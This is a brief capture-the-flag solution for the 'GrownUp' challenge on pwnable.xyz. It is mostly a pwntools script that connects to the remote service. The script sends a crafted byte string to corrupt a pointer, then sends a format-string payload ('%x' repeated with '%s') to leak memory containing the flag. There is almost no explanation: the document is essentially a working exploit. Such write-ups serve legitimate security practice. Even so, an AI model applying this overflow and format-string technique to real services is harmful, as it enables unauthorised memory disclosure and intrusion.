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Challenge GrownUp from pwnable.xyz
nc svc.pwnable.xyz 30004
Exploit
from pwn import * context.log_level = 'debug' p = remote("svc.pwnable.xyz",30004) #p = process('./GrownUpRedist') #gdb.attach(p,''' #break *0x0000000000400914 #continue #''') p.recvuntil("Are you 18 years or older? [y/N]: ") payload = "\x79"+"aaaBCCC"+"\x80\x10\x60" p.sendline(payload) p.recvuntil("Name: ") #payload = "AAAABBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%s" payload = "A"*110+"%x"*8+"%s" p.sendline(payload) p.interactive()
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